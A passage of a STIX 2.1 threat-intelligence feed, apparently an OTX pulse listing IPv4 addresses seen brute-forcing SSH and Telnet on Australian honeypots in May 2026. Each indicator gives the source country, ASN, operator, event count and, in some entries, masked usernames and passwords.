      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--6abed16e-045c-492e-ab87-6e7711c5796f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.113.146.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dd9236e2-3f24-439a-a0b2-0f6f8660f100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--a749652b-fe90-492b-80f1-5b0c7e492472",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.40.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c8b80c33-dd6e-418a-9863-6697132f07ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.240.214.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--780bf51c-8d8a-4d82-b4d3-260d7e00f26f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.52.128.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--61dfd2d5-7d8a-40a0-9f50-c8d789ba5784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.95.161.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--c580dcfb-72f0-413d-8270-7cdd07949507",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.47.151.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52235. Organisation(s): IPV6 SRL.",
      "id": "indicator--7eed8416-57df-4c09-a7a2-4a6a7b930ab1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.99.71.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--747478c1-46a9-4fa1-9dff-d7c2e455b1a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.56.187.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--f8239cb2-4375-411a-8ed6-f115991c8ac5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.34.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9e9f6fc5-d9e7-4c05-9f26-2fa4e562acb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd.",
      "id": "indicator--7b6c1e80-c568-4864-bf97-3666a67090ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.238.87.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Heralding. Target ports: 5900. Source country: HK. ASN(s): 141718. Organisation(s): haoxiangyun. Passwords observed (masked): p******d, 1******8, 1****1, 1****3, 1****6.",
      "id": "indicator--c4b87463-cd66-469f-bdba-0987913776c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.155.90.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--efa4efd3-e9c2-4376-977d-133e91d8f28c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.174.160.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0f6aa4ee-e122-4cb3-aa65-95c2929b18c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.58.72.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 12271. Organisation(s): Charter Communications Inc.",
      "id": "indicator--e4854b84-ee23-472d-8fb7-5fa73c1f5452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.174.249.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 142063. Organisation(s): Grand Tel Private Limited. Usernames observed (masked): p***l. Passwords observed (masked): p***l.",
      "id": "indicator--badb1e87-73dd-4844-a981-214568018b31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.166.103.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9674. Organisation(s): Far EastTone Telecommunication Co., Ltd..",
      "id": "indicator--c5d46094-8dda-4c9a-bdd5-60d15d4df02f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.24.32.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): f****e, f******r. Passwords observed (masked): 1****6.",
      "id": "indicator--4d3da44f-23cb-4049-946b-14feed681fbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.178.75.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--6b98e574-0952-4e68-aa84-5bc60e396bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.166.126.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1********a.",
      "id": "indicator--aa732ff9-b935-4eb9-99f8-02b7eda76889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.227.230.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f08bfaf6-f785-4f0a-972a-43bf2f363510",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.230.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--aa89bce7-6b6e-4c0c-81d8-4599f33ad1f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.111.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--61cc3c49-b364-4ed6-bdcb-8c29a023a93f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.24.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31257. Organisation(s): Orion Telecom LLC.",
      "id": "indicator--fe41dade-838b-483d-821d-a693f0233ce0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.116.175.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--c026ac27-c9c0-4144-9cac-6ee45ee51187",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.57.173.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--4f63d8f8-f843-45b8-839d-a13ca94ed57f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.70.76.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--abb90115-8de4-4540-b537-66e5f54289e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.31.187.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--22e84e03-1061-4ce2-9195-f56d94111570",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.89.30.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--ac30d164-b5f6-48fa-b7a9-029fcc9d90ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.142.84.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271304. Organisation(s): A.M.S DO NASCIMENTO CONECT.COM.",
      "id": "indicator--0efa71fe-f22b-4799-894a-12e80518b5c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.53.68.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--780d693f-e64d-4f25-9fc7-dc341ba3be3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.219.74.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--73757a38-46c2-44f8-9380-27931a2c46d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.20.145.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--7838eeb7-0e39-42b1-be44-ba41c6f4ecca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.220.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MX.",
      "id": "indicator--675bc480-b7e9-4359-a961-1cdf52269df2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.174.70.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): s***y. Passwords observed (masked): P*******1.",
      "id": "indicator--2e220bbd-6517-4e33-bc6d-4ad91e7533f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
